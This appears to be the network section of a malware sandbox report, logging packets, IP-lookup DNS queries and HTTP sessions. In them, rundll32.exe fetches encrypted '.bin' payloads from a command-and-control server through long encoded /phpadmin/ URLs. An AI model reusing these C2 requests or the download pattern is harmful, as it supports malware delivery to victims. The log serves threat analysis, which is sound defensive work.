                                          Apr 22, 2022 16:17:54.570348978 CEST4984480192.168.2.667.43.234.14
                                          Apr 22, 2022 16:17:54.570569038 CEST4984680192.168.2.667.43.234.14
                                          Apr 22, 2022 16:17:54.570586920 CEST4984680192.168.2.667.43.234.14
                                          Apr 22, 2022 16:17:54.570643902 CEST4984680192.168.2.667.43.234.14
                                          Apr 22, 2022 16:17:54.678917885 CEST804984667.43.234.14192.168.2.6
                                          Apr 22, 2022 16:17:54.679055929 CEST4984680192.168.2.667.43.234.14
                                          Apr 22, 2022 16:17:54.682344913 CEST804984667.43.234.14192.168.2.6
                                          Apr 22, 2022 16:17:54.682475090 CEST4984680192.168.2.667.43.234.14
                                          Apr 22, 2022 16:17:54.682925940 CEST804984667.43.234.14192.168.2.6
                                          Apr 22, 2022 16:17:54.683027029 CEST4984680192.168.2.667.43.234.14
                                          Apr 22, 2022 16:17:54.787523985 CEST804984667.43.234.14192.168.2.6
                                          Apr 22, 2022 16:17:54.787646055 CEST4984680192.168.2.667.43.234.14
                                          Apr 22, 2022 16:17:54.801655054 CEST804984667.43.234.14192.168.2.6
                                          Apr 22, 2022 16:17:54.801707029 CEST804984667.43.234.14192.168.2.6
                                          Apr 22, 2022 16:17:54.801800966 CEST4984680192.168.2.667.43.234.14
                                          Apr 22, 2022 16:17:54.801876068 CEST804984667.43.234.14192.168.2.6
                                          Apr 22, 2022 16:17:54.896047115 CEST804984667.43.234.14192.168.2.6
                                          Apr 22, 2022 16:17:54.910188913 CEST804984667.43.234.14192.168.2.6
                                          Apr 22, 2022 16:17:54.910382986 CEST804984667.43.234.14192.168.2.6
                                          Apr 22, 2022 16:17:54.910613060 CEST804984667.43.234.14192.168.2.6
                                          Apr 22, 2022 16:17:55.727977991 CEST804984667.43.234.14192.168.2.6
                                          Apr 22, 2022 16:17:55.730197906 CEST4984680192.168.2.667.43.234.14
                                          Apr 22, 2022 16:17:55.825753927 CEST4984680192.168.2.667.43.234.14
                                          Apr 22, 2022 16:17:55.934154034 CEST804984667.43.234.14192.168.2.6
                                          Apr 22, 2022 16:17:56.469044924 CEST804984667.43.234.14192.168.2.6
                                          Apr 22, 2022 16:17:56.469221115 CEST4984680192.168.2.667.43.234.14
                                          Apr 22, 2022 16:17:57.449640989 CEST4984680192.168.2.667.43.234.14
                                          Apr 22, 2022 16:17:57.449678898 CEST4984680192.168.2.667.43.234.14
                                          Apr 22, 2022 16:17:57.558108091 CEST804984667.43.234.14192.168.2.6
                                          Apr 22, 2022 16:17:57.558132887 CEST804984667.43.234.14192.168.2.6
                                          Apr 22, 2022 16:17:58.082153082 CEST804984667.43.234.14192.168.2.6
                                          Apr 22, 2022 16:17:58.082310915 CEST4984680192.168.2.667.43.234.14
                                          Apr 22, 2022 16:18:43.415285110 CEST4984880192.168.2.667.43.234.37
                                          Apr 22, 2022 16:18:43.523629904 CEST804984867.43.234.37192.168.2.6
                                          Apr 22, 2022 16:18:43.523751020 CEST4984880192.168.2.667.43.234.37
                                          Apr 22, 2022 16:18:43.523910046 CEST4984880192.168.2.667.43.234.37
                                          Apr 22, 2022 16:18:43.632261038 CEST804984867.43.234.37192.168.2.6
                                          Apr 22, 2022 16:18:44.161041021 CEST804984867.43.234.37192.168.2.6
                                          Apr 22, 2022 16:18:44.161118031 CEST4984880192.168.2.667.43.234.37
                                          Apr 22, 2022 16:18:47.876908064 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:18:47.877003908 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:19:03.084470034 CEST804984667.43.234.14192.168.2.6
                                          Apr 22, 2022 16:19:03.084523916 CEST4984680192.168.2.667.43.234.14

                                          UDP Packets

                                          TimestampSource PortDest PortSource IPDest IP
                                          Apr 22, 2022 16:16:47.683815002 CEST5880153192.168.2.68.8.8.8
                                          Apr 22, 2022 16:16:47.700845957 CEST53588018.8.8.8192.168.2.6
                                          Apr 22, 2022 16:16:47.706826925 CEST5880253192.168.2.6208.67.222.222
                                          Apr 22, 2022 16:16:47.722929955 CEST5358802208.67.222.222192.168.2.6
                                          Apr 22, 2022 16:16:47.724766016 CEST5880353192.168.2.6208.67.222.222
                                          Apr 22, 2022 16:16:47.740904093 CEST5358803208.67.222.222192.168.2.6
                                          Apr 22, 2022 16:16:47.785564899 CEST5880453192.168.2.6208.67.222.222
                                          Apr 22, 2022 16:16:47.801620960 CEST5358804208.67.222.222192.168.2.6
                                          Apr 22, 2022 16:17:46.441162109 CEST4946453192.168.2.68.8.8.8
                                          Apr 22, 2022 16:17:46.459058046 CEST53494648.8.8.8192.168.2.6
                                          Apr 22, 2022 16:17:46.460344076 CEST4946553192.168.2.68.8.8.8
                                          Apr 22, 2022 16:17:46.476351976 CEST53494658.8.8.8192.168.2.6

                                          DNS Queries

                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                          Apr 22, 2022 16:16:47.683815002 CEST192.168.2.68.8.8.80x420cStandard query (0)resolver1.opendns.comA (IP address)IN (0x0001)
                                          Apr 22, 2022 16:16:47.706826925 CEST192.168.2.6208.67.222.2220x1Standard query (0)222.222.67.208.in-addr.arpaPTR (Pointer record)IN (0x0001)
                                          Apr 22, 2022 16:16:47.724766016 CEST192.168.2.6208.67.222.2220x2Standard query (0)myip.opendns.comA (IP address)IN (0x0001)
                                          Apr 22, 2022 16:16:47.785564899 CEST192.168.2.6208.67.222.2220x3Standard query (0)myip.opendns.com28IN (0x0001)
                                          Apr 22, 2022 16:17:46.441162109 CEST192.168.2.68.8.8.80x1Standard query (0)8.8.8.8.in-addr.arpaPTR (Pointer record)IN (0x0001)
                                          Apr 22, 2022 16:17:46.460344076 CEST192.168.2.68.8.8.80x2Standard query (0)1.0.0.127.in-addr.arpaPTR (Pointer record)IN (0x0001)

                                          DNS Answers

                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                          Apr 22, 2022 16:16:47.700845957 CEST8.8.8.8192.168.2.60x420cNo error (0)resolver1.opendns.com208.67.222.222A (IP address)IN (0x0001)
                                          Apr 22, 2022 16:16:47.722929955 CEST208.67.222.222192.168.2.60x1No error (0)222.222.67.208.in-addr.arpaPTR (Pointer record)IN (0x0001)
                                          Apr 22, 2022 16:16:47.722929955 CEST208.67.222.222192.168.2.60x1No error (0)222.222.67.208.in-addr.arpaPTR (Pointer record)IN (0x0001)
                                          Apr 22, 2022 16:16:47.722929955 CEST208.67.222.222192.168.2.60x1No error (0)222.222.67.208.in-addr.arpaPTR (Pointer record)IN (0x0001)
                                          Apr 22, 2022 16:16:47.740904093 CEST208.67.222.222192.168.2.60x2No error (0)myip.opendns.com102.129.143.53A (IP address)IN (0x0001)
                                          Apr 22, 2022 16:17:46.459058046 CEST8.8.8.8192.168.2.60x1No error (0)8.8.8.8.in-addr.arpaPTR (Pointer record)IN (0x0001)
                                          Apr 22, 2022 16:17:46.476351976 CEST8.8.8.8192.168.2.60x2Name error (3)1.0.0.127.in-addr.arpanonenonePTR (Pointer record)IN (0x0001)

                                          HTTP Request Dependency Graph

                                          • 146.70.35.138
                                          • 193.56.146.148
                                          • 67.43.234.14
                                          • 67.43.234.37

                                          HTTP Packets

                                          Session IDSource IPSource PortDestination IPDestination PortProcess
                                          0192.168.2.649750146.70.35.13880C:\Windows\SysWOW64\rundll32.exe
                                          TimestampkBytes transferredDirectionData
                                          Apr 22, 2022 16:15:21.968986988 CEST339OUTGET /phpadmin/O5VHv_2BomBJ/FDSQ3C_2FEh/d3AB91pB2zVZZc/V8xBUftmx0M_2Bqnngedi/DpLLDhwUKQDOSSQS/nVaNzwxkqgcnJXK/SQy2RrteBXCJGPusj_/2Fou9gPbn/TEfuPZW_2FR5wp1JKvFc/BRr_2Bgc4Sh6fwKpLbg/92QNhdYG6IBsInIDDSBHis/CLBmXrf7shSlX/Qy4n9fNl/nE2maUEbSwiaPEHMkNYQxQk/D1KSQzl_2F/HXQWBGmfgthfPqv/9SK.src HTTP/1.1
                                          User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                                          Host: 146.70.35.138
                                          Connection: Keep-Alive
                                          Cache-Control: no-cache
                                          Apr 22, 2022 16:15:22.344774961 CEST341INHTTP/1.1 200 OK
                                          Server: nginx/1.18.0 (Ubuntu)
                                          Date: Fri, 22 Apr 2022 14:15:22 GMT
                                          Content-Type: application/octet-stream
                                          Content-Length: 185492
                                          Connection: keep-alive
                                          Pragma: public
                                          Accept-Ranges: bytes
                                          Expires: 0
                                          Cache-Control: must-revalidate, post-check=0, pre-check=0
                                          Content-Disposition: inline; filename="6262b87a4bf22.bin"
                                          Data Raw: 2c d4 68 ba 77 fa c2 de fe 95 8f 63 f1 45 56 5f 12 44 e4 30 5c f8 d2 eb ea 34 2c 15 08 e7 49 45 b8 f9 96 19 41 71 13 28 e7 22 8f 4d ba 44 b3 a3 6f 7b bf 72 ac b8 4f 7a 8f 60 a9 cb 6c 3d ef 2b e9 4b 6b 0d c8 68 41 c2 6d c2 e3 f9 cf c2 87 b7 ba 24 d1 5f c4 e4 11 7f 1c c7 6e f2 5e f5 c4 ad f7 ba 0b 19 f0 08 a6 0c 8c d6 7a ca 0e d2 e6 b9 3c 29 08 fd f9 f1 34 77 36 0b 69 d0 eb 4a 15 78 00 41 ee 63 8f 39 c4 83 84 54 5b 93 be 4b 41 ed 1d 77 6d c3 05 cd fb 5a 9e 69 00 27 b2 f8 28 22 b7 a6 fc e9 96 12 bf 16 16 9d 0b ee d7 ea 0d 29 ee 79 d6 f3 cc 9f 0b f5 7d b6 d6 9d bb 69 9e 76 c7 39 32 ee d6 d4 08 12 34 be c8 8e fb 1c 3d 89 fc bf 1e 9e 0e d2 b9 e2 14 bf 51 43 7d 58 21 d1 40 02 45 f3 45 af bc 93 a8 36 96 14 02 27 44 48 1d 0b 1f 08 60 72 20 55 8d 5f 3f 8c 71 71 8c e7 54 2b e2 cf f6 8d 2a df b4 82 9c 87 a5 18 0b 6f fb 3f 82 4c 5e aa 5a 08 af 9c 02 00 fb eb 9d d7 2f 90 11 fd 78 12 69 5c e2 38 4c 8c 6d 27 2d 35 3c 88 16 b7 9f 54 8f a5 4e e1 4b ea ff cb 25 a4 42 ea d4 1e 22 32 a7 6b d6 eb b7 2b c0 80 ad 13 44 6c 89 82 1e 7b 2c b0 71 05 65 75 d4 16 90 f9 f6 9e bf 21 86 69 02 07 a7 b5 02 b3 ec 6e 19 59 91 77 0a cd c7 f9 cf d0 06 50 8f db ab 03 f0 2b ed 2c e9 89 4a 88 59 8e 9c 7b de 14 fb 5f 7a df 0b 56 a9 b0 09 ba 19 86 1e 08 0f 71 f0 8e 65 83 4b a6 05 af 86 29 8c 39 c9 e2 36 a1 a4 0b 31 39 3a ee 98 85 08 ef f9 8a c4 bb ec bb 1f 9b 9f f4 c6 01 ad 17 12 ae cc 8a 29 41 89 52 e5 85 3e 09 15 69 93 24 9e f2 0d ae 0e 90 3c 47 2b 74 cd 39 1f dc 18 32 2f e0 00 8c d0 28 0e 13 d1 70 db 15 39 da 20 14 8b e0 b8 1b 3c 02 e0 b2 a5 3c ca fe e7 fb 71 b2 bc 46 2d bc b4 9e 2c 4d 42 51 60 d9 48 e0 73 ba b2 e6 ff cc b8 db 2e e2 47 db bb 09 3a b9 9f 21 fe 77 2e 1d b2 85 0d a1 6a 4b 3e 56 67 a8 28 25 b1 f2 cf ad c9 e6 f4 18 51 6f b6 b0 8a 87 9d fb ce 15 d9 a2 86 b4 13 c6 dd e0 49 26 f1 50 24 7d 04 14 ea d1 2d 24 e9 a6 f4 22 05 98 d9 91 38 e1 02 fb 62 5c 43 30 a0 74 a0 fe 8a 61 5b a4 5f 98 c5 39 06 b3 ff b3 25 3e 04 88 b4 82 83 94 64 a9 84 cb 9f 9f 1f 70 bf a6 3d 99 30 75 a2 26 ad af ef f7 ba 7e 13 36 dd ec 5b 00 93 21 74 eb 71 3e 31 3f 16 27 12 09 56 f4 b7 72 7d 36 19 03 2a 7c a9 f7 0e db 60 ea 21 0c ac 34 69 0b f0 81 dc 2d 5f e4 a4 b6 24 55 e6 24 ff de 1c d5 e9 18 d3 35 2a 51 65 b0 c5 0f d5 01 1b 9a a0 5e 93 f9 68 c7 00 64 1f 2c 80 f7 41 5f e5 a0 9d 2f c6 86 8f 6f 8b 9d 4c b1 75 fc 20 25 d0 69 a5 8d 42 8d 70 8d 86 c2 f3 67 47 48 b7 50 67 56 93 04 87 a8 94 6f b6 e3 87 a3 b4 4d 82 29 55 55 cc bf 88 0f b6 e6 4e 07 85 85 7b fd 4d fd 55 f7 b8 74 b1 8b 37 53 df fb 4f 98 6d 65 18 3a 85 dd 02 aa 7b f8 75 8a 02 bd 0a 6a 66 4a 19 f0 33 ea 01 93 bf 2a 36 65 f8 7e ef 26 c4 af a9 2e 18 c8 ed b3 86 8f 46 e9 a7 e4 ec 13 e5 6d 9b c1 09 49 cc 98 5f b5 0a 69 9d 1c e3 cc c3 38 81 ac 51 37 ad b2 6c 2f 7d 59 19 40 d7 7e f1 53 45 02 45 53 44 6c 2d 0d c7 9a 76 0c 41 e9 e0 e3 e8 77 65 0c 72 10 fe 62 87 ff 9f c1 11 34 4f a6 32 7d 9d 57 30 b5 40 b5 bb f8 5b 1b 7b 6f 92 b8 55 ce df 06 0e ce dd 7e ac 10 7e fd 5b dd 43 a7 d8 02 48 aa 68 37 27 8b 94 13 39 6a 48 27 0b 97 37 5f 35 45 41 33 2d 34 0a
                                          Data Ascii: ,hwcEV_D0\4,IEAq("MDo{rOz`l=+KkhAm$_n^z<)4w6iJxAc9T[KAwmZi'(")y}iv924=QC}X!@EE6'DH`r U_?qqT+*o?L^Z/xi\8Lm'-5<TNK%B"2k+Dl{,qeu!inYwP+,JY{_zVqeK)9619:)AR>i$<G+t92/(p9 <<qF-,MBQ`Hs.G:!w.jK>Vg(%QoI&P$}-$"8b\C0ta[_9%>dp=0u&~6[!tq>1?'Vr}6*|`!4i-_$U$5*Qe^hd,A_/oLu %iBpgGHPgVoM)UUN{MUt7SOme:{ujfJ3*6e~&.FmI_i8Q7l/}Y@~SEESDl-vAwerb4O2}W0@[{oU~~[CHh7'9jH'7_5EA3-4
                                          Apr 22, 2022 16:15:22.344825983 CEST342INData Raw: 99 10 85 d7 1c 36 c0 22 ad c0 17 04 e7 d3 51 71 d3 71 24 6b 45 10 29 ad 03 0b 02 01 45 c4 ab 56 6a f7 03 ce 9d fc 36 9f 85 a2 31 5f 0d d6 6f 5a ec 99 18 9c 24 ce 53 b8 da 14 8e 41 1d 91 bf 2c c5 fb 1a 56 3b 1b 0b f1 9f c1 36 cc 1b a4 06 c6 7a 6b
                                          Data Ascii: 6"Qqq$kE)EVj61_oZ$SA,V;6zkv,O`~b.`3And/HH6/4l-#q*&inEf-Yx[?@8efjUr=e^>kVVG)Hz#shtEsl)
                                          Apr 22, 2022 16:15:22.344877958 CEST343INData Raw: 1b c9 fe f8 47 fb 52 9b 80 32 24 7b 2d 18 cb 6c 0a 3a b7 e1 ff 5f 83 97 96 a5 35 d8 f7 5e a7 79 ea b3 a1 2f 09 24 81 c3 1b 1e 99 b1 3b 2d 0f 09 98 85 62 dd 7f f9 f9 70 57 67 9d 78 9f f9 ac 13 77 74 cc 43 fd 65 c1 c6 c1 56 79 23 b7 4a 81 e1 41 d0
                                          Data Ascii: GR2${-l:_5^y/$;-bpWgxwtCeVy#JA Vx|R+n+eN(S;4)s.GP`!DCNN>?R$3P$zVfw;}6@|)qW'a]Wx~$=c
                                          Apr 22, 2022 16:15:22.344908953 CEST345INData Raw: 9d 8c 0f 29 e5 7d 63 0a 47 79 84 ab f5 f0 d6 c4 2e 40 df eb 8c e8 d1 cd 25 f4 39 de 92 3c 2e c3 ba 68 fb aa db 11 cc 83 9a cc 82 f3 08 e6 66 80 66 f6 92 6b 98 98 ad d8 b4 9f c9 bd 34 3e 60 b8 ae 98 a9 a3 db 3d 17 5b 68 03 62 38 59 22 16 59 3c 73
                                          Data Ascii: )}cGy.@%9<.hffk4>`=[hb8Y"Y<s0)e:W*kP;e1tPuL76a7I=%?r|QMoEr9_#sm>s_\C_zz8#-"C<1qQi!x[nYUz]X&\f
                                          Apr 22, 2022 16:15:22.344960928 CEST346INData Raw: a3 98 5a d2 94 4f 6f 88 7b 3c 06 aa e1 bd 17 09 5d 19 3f 04 53 48 0f f7 44 12 25 75 27 c2 60 11 1d cb 77 fe 3e cd 5d 0a 26 c8 d5 c3 87 9b 28 54 56 36 1e a0 92 76 90 8c 6b d0 50 44 e9 fc b5 0a e2 60 71 ae ab 48 1e 82 82 1e 8f 7d 9f c4 96 12 46 39
                                          Data Ascii: ZOo{<]?SHD%u'`w>]&(TV6vkPD`qH}F9WZCk(`:_,n=D(p[0%r)4"F1@(WtDZn'M'#Azl|47r|)u5DPfh|*{9Plu1XX
                                          Apr 22, 2022 16:15:22.344995022 CEST347INData Raw: 0c 0f 24 67 57 7e 5f 76 36 98 51 a8 14 f1 c9 e3 f7 a2 6e 23 41 07 5a 7f ee 5a 4e ec 41 10 0f 56 8a 7c 52 fb f9 73 55 03 0f 28 5d 2e 32 56 5b 25 f5 6e 70 c1 25 e2 eb 80 be 71 11 d0 72 3f 5b 0a ec a8 57 df 2f ac 65 51 5f 86 d8 41 af 08 88 c3 92 1d
                                          Data Ascii: $gW~_v6Qn#AZZNAV|RsU(].2V[%np%qr?[W/eQ_A[C4Rhr3~4!zc)CQp:iLHIJC9gqM`d$!V@?!^#u9e=KrldHQ,=C~vB.W
                                          Apr 22, 2022 16:15:22.345053911 CEST349INData Raw: db 8f 61 c6 68 2b d1 8f 14 b3 9c c8 2c 73 0d 84 d3 ad 26 b4 a9 38 97 60 49 96 1f 0a 6b 6f ec 37 71 04 a4 ed 9b e2 ed 27 0d f6 c8 90 4d f2 d9 7d 92 df 49 1c 78 b6 95 04 24 d0 9e 5d 89 27 7f 93 1e 2b 16 4b 2e 88 3a 65 06 1d 51 f3 bc 5c b5 61 03 88
                                          Data Ascii: ah+,s&8`Iko7q'M}Ix$]'+K.:eQ\aw,4^?9h#JXfM{Lgn B=:\pcE,i(>N0qLK5%+Dn(1sD132v/.-w>`9KU=
                                          Apr 22, 2022 16:15:22.345084906 CEST350INData Raw: 68 cc 48 a4 b8 01 93 96 94 d1 09 8e 46 56 4f 7e 5d d0 98 21 3e 75 28 54 6c d7 0f 3f 71 8c e3 f8 79 70 3c b0 ee a0 ff a3 09 9c f8 2f 15 db 96 6d 62 6e bb b2 21 0b 61 4e 91 00 ff 3f 25 aa 37 5c 6b 2e b7 a2 f8 96 f9 54 36 23 c7 68 4f 98 1b 86 2b 3a
                                          Data Ascii: hHFVO~]!>u(Tl?qyp</mbn!aN?%7\k.T6#hO+:w_B&]JPAA^<rSO%|6oer})QKJ{Rg5xJX]\ED{X0-$#8W:VYcB$UdF^
                                          Apr 22, 2022 16:15:22.345135927 CEST352INData Raw: 05 af 19 43 58 fd 46 c6 67 41 2e 59 62 82 02 4d 43 e3 3f 15 01 9b ba a4 18 e3 8b 78 fa 5c b7 19 fd c6 fb 05 28 ea f8 6a d4 99 20 db f8 2e f4 60 3b 54 1a 1d 3c 8e 05 cf 9d 9b 0e 7a 8d a4 f6 96 dd ae e3 e5 13 88 06 6d cf 84 93 13 1c 43 7a eb 41 48
                                          Data Ascii: CXFgA.YbMC?x\(j .`;T<zmCzAHbvz0+{T&+KHfo(wj`$=;\S2H7WTA8sQ~u%A9RZqvgp2!iRI\aj anD
                                          Apr 22, 2022 16:15:22.345160007 CEST352INData Raw: 1a 44 e7 2a f5 4d d8 7a 2e 62 9d e8 d7 19 b9 b6 4b b6 5e 74 5b 78 3d d0 f7 50 93 da 7c 11 6d 8e dc f5 13 67 82 48 2b b7 d3 30 17 82 ea c8 3f 45 54 df 55 59 34 db 4f 01 16 ea fa a4 f0 1c 38 03 77 56 14 a2 88 08 df 60 da 4b 51 9e f0 0f 5a 0c 35 fd
                                          Data Ascii: D*Mz.bK^t[x=P|mgH+0?ETUY4O8wV`KQZ5,#]J0aivK!Gr\%:QPY-j'qvy2BDPs7/U@u[Md&%^O&9_WU=}eB2&RK!
                                          Apr 22, 2022 16:15:22.384258986 CEST354INData Raw: be 79 f4 7a ed 76 9e e8 f5 2f b5 43 e1 f7 a9 0b 51 a6 1f a5 32 b1 8a 63 d4 02 96 8e 03 19 7f 26 a0 e7 1f 13 84 9c ed 61 e6 27 c9 b9 69 78 07 27 4c 09 a1 e7 73 7e 11 d7 29 74 d8 81 b8 90 3c 74 a2 5f 06 ac 64 35 a5 ad ff 62 bc d8 03 1b 0d 06 c1 d2
                                          Data Ascii: yzv/CQ2c&a'ix'Ls~)t<t_d5b~,6(ZuCVJn22gxIPLk;B-<C >$X~[*ai /FFk*+KT%*t'.R *uJw8
                                          Apr 22, 2022 16:15:22.811302900 CEST539OUTGET /phpadmin/zilwS36OC_2/FnjmOckuG_2BCm/VAdwDdj_2Fnac_2F0y6xc/deXhx0rBocPzi7tR/z8VoemZhKDJOEZ_/2FB71dJS5j3dZE2NGK/cGLO3t6yJ/yUrrIk8eZ08FZSU_2FS0/2G1FFOzId8doUQdjVtt/kPQnX57urwlFySqx1IZrAD/AgrnwQGGtXT4R/Tizv3fN7/xX9kvTCwfaZ1KZbAGWbajAo/gFAssOtH9Z/e8lp2TS1JzI4llaNY/olcdYO51/byt.src HTTP/1.1
                                          User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                                          Host: 146.70.35.138
                                          Connection: Keep-Alive
                                          Cache-Control: no-cache
                                          Apr 22, 2022 16:15:23.208308935 CEST540INHTTP/1.1 200 OK
                                          Server: nginx/1.18.0 (Ubuntu)
                                          Date: Fri, 22 Apr 2022 14:15:23 GMT
                                          Content-Type: application/octet-stream
                                          Content-Length: 237210
                                          Connection: keep-alive
                                          Pragma: public
                                          Accept-Ranges: bytes
                                          Expires: 0
                                          Cache-Control: must-revalidate, post-check=0, pre-check=0
                                          Content-Disposition: inline; filename="6262b87b2a943.bin"
                                          Data Raw: c5 94 a1 d4 cf 01 54 ad 67 b8 35 ce fb a5 32 f4 b8 b7 20 18 bc af a0 b9 ec 7b fb 86 8b 40 5e 0c 4a 06 ae 62 ba 7e a8 0e 1b 4e 14 4a 61 22 66 60 c1 90 c2 5a 82 32 07 b5 0a 28 8e 7e ea 85 17 e2 57 83 3e 40 70 7a c8 68 8c 7d d1 83 2a 85 e7 64 0d ab 77 92 0b f8 d4 ae aa 6d 4c 70 33 cb 56 58 74 22 20 f5 7b 99 7b 0e 65 8e 51 07 ac ce 98 00 ec e4 f0 89 47 50 b4 65 b8 e6 23 43 ea 16 0d b5 8e 48 c9 d4 b9 c9 0f 48 2b 92 f5 d9 19 96 9f b7 32 8f 57 f8 3a 9c fc 78 1d 08 05 6b ca 6b 56 e1 08 8a 76 14 44 72 99 2e 7d 22 b0 6c 29 5b 8c 06 be c3 af d8 ef ff 64 73 b5 62 45 13 3e b1 99 c6 c3 60 ae 9b 3e dd 20 19 6a a3 cd 7a 59 d5 b4 c1 aa a6 dc 4b 26 e5 4e 0a ac 02 9b 15 7a 9d 51 f7 1e e8 c4 41 6e b0 8e ff d2 ab 95 a3 8f 5b f5 e4 4b 8d 05 c5 21 c3 0d 04 92 f1 83 5d d6 cd 19 d6 95 ef 7a 20 dc 91 10 4b 51 4d c4 2f 7e 03 c5 fb c7 08 d6 e6 74 2d 56 44 d8 a7 57 e5 91 1a 81 81 28 8e 88 63 7a 12 47 80 4d 99 4c 72 45 22 50 02 d6 85 c2 6c fd db 8c 27 af ef 7c 2f 5d 7c 0b e5 88 33 be dd 60 30 74 74 8c a3 06 b9 ed d1 2c 46 b0 e9 a1 97 b3 ea 80 a0 99 6b 07 3c 37 c9 12 1f ca d9 c3 f6 bb 95 dd 15 23 53 41 27 6f f3 b7 88 01 8a d4 d8 80 fd 64 fa 32 a6 51 db 9f c7 ee e4 2d 78 68 27 22 5a e0 e3 ba 67 38 ba 44 d8 c0 55 c4 ec 9a 89 db f1 e0 2e d2 f7 a6 dc 66 3e 69 cc e8 de eb f3 85 39 5d 45 7f b9 f1 d9 92 47 72 e8 1c dc 16 5f 94 8a 34 c6 6c c7 7f bf 51 e6 91 79 6b ec b5 f2 72 8a 6e b3 d4 29 d2 4a 3d 65 71 97 ed a8 79 9f fb cb 30 cc fd 81 1c 66 39 8a b5 b5 5f 2c dd e5 5b 58 45 3b 5a 92 5c 70 43 7f 69 e1 9b 6d 7f db ab 8b d9 4b ae 21 5f 89 c8 75 0c 23 18 67 b6 b0 86 9b cc 76 18 15 a9 b3 09 79 d9 aa 99 d5 8b c9 51 00 53 c1 31 2b cd 41 d0 8a 96 d9 92 f2 7f 67 79 25 7f e2 62 ad 75 e8 be a6 7a 01 eb 0c f3 5a 4c 9f 68 d1 7f e9 9e 7f 08 a9 1c 84 4b b7 f0 66 31 a6 2b 57 22 e5 0e 43 be b8 fc 02 48 c9 d3 b8 1c e9 cc 51 f3 27 a8 b6 0c 56 89 f3 0e 39 c0 70 63 51 a6 e5 fc 29 3c a8 0f ec 59 d0 f4 34 c5 27 e7 61 7b 18 d0 12 e9 ab 44 40 e0 f6 7f 5e 83 98 d8 bc 67 ce ce 0f e5 1f 97 a0 21 8a 8e bc 55 43 ed 76 28 e5 0b 47 e0 f3 ff d0 21 b2 bc 73 a8 04 22 a6 ff 80 9f 8f 27 4d 47 a6 c6 82 70 1a 05 2d e6 88 42 ba 6d eb 81 16 9c c2 93 e2 65 77 90 f6 1e fa 29 11 df 98 6b fa 90 d3 03 e2 3a e4 ea 7c 50 f4 57 34 74 0a ea 2a 2c c1 b6 1b 90 45 b5 a5 5d c8 a3 e5 2d c5 1b 47 36 e5 5e 5c ff 60 5b 86 7b 3a 3b 37 57 9d 83 86 72 e8 ac ff 51 7d 5b 56 f9 58 9b fc bd c3 ae 7f 17 f4 86 5d ac bf 83 30 cc a8 ac 1b 10 85 b4 67 38 3f 05 02 4b 10 c3 bc 6d cc 98 fe aa 9d fd 82 48 09 5f 6d c5 24 98 bc 1e 8d d0 32 3a be ba 5b cc 59 71 10 19 db f1 27 b4 18 19 51 81 c9 dc 2a 68 da d5 ca 34 87 4e 78 63 94 78 3a e6 ce 53 d9 88 10 f3 a7 80 63 78 a7 38 76 d7 18 61 67 78 00 29 51 09 8f 4c 89 4b ca 92 9c 13 7e 59 39 a0 51 aa fa d1 03 3b 4a 5f 67 d0 85 63 ea 30 6f 0d e8 09 ae 34 e7 8a 90 d9 95 4b fd 26 05 fb 0e 7c 02 b0 0c f9 67 df 98 0f 79 8c 6d ff 0c e7 be 6a b7 12 29 4d 0b 62 99 8f 98 67 62 02 8d b2 49 94 fa b5 be b0 ec 6a 9a af d8 30 7c aa 3f 85 d3 66 54 02 99 b6 98 bd be ce 73 8d 03 3f fe 89 4f 99 33 c1 d3 c5 bf fa 8b fb
                                          Data Ascii: Tg52 {@^Jb~NJa"f`Z2(~W>@pzh}*dwmLp3VXt" {{eQGPe#CHH+2W:xkkVvDr.}"l)[dsbE>`> jzYK&NzQAn[K!]z KQM/~t-VDW(czGMLrE"Pl'|/]|3`0tt,Fk<7#SA'od2Q-xh'"Zg8DU.f>i9]EGr_4lQykrn)J=eqy0f9_,[XE;Z\pCimK!_u#gvyQS1+Agy%buzZLhKf1+W"CHQ'V9pcQ)<Y4'a{D@^g!UCv(G!s"'MGp-Bmew)k:|PW4t*,E]-G6^\`[{:;7WrQ}[VX]0g8?KmH_m$2:[Yq'Q*h4Nxcx:Scx8vagx)QLK~Y9Q;J_gc0o4K&|gymj)MbgbIj0|?fTs?O3
                                          Apr 22, 2022 16:15:24.287033081 CEST794OUTGET /phpadmin/TYhCb5d3/Qd3Po_2BKjelP_2F7WSwUso/7m8jnTpLRx/uExGwdKAdHoPBjWMC/elgD5kzT2sqT/T1iJBxA5UdT/uL5VED_2B8E0P8/_2FtpnrB_2FZlg9AlWg_2/BdtlwpvI_2BcVtwg/McOCY72thR3WVt5/wVoK31AOn6hDpHdQON/XBB32U4r8/fKY68F7l0jZNTMcXJ71L/odruZsWwSuNEIUWqi7s/08LTc4yWUohU0pkFp1T8P2/l2fvxomE6/r6zvT.src HTTP/1.1
                                          User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                                          Host: 146.70.35.138
                                          Connection: Keep-Alive
                                          Cache-Control: no-cache
                                          Apr 22, 2022 16:15:24.667445898 CEST796INHTTP/1.1 200 OK
                                          Server: nginx/1.18.0 (Ubuntu)
                                          Date: Fri, 22 Apr 2022 14:15:24 GMT
                                          Content-Type: application/octet-stream
                                          Content-Length: 1869
                                          Connection: keep-alive
                                          Pragma: public
                                          Accept-Ranges: bytes
                                          Expires: 0
                                          Cache-Control: must-revalidate, post-check=0, pre-check=0
                                          Content-Disposition: inline; filename="6262b87c98b4c.bin"
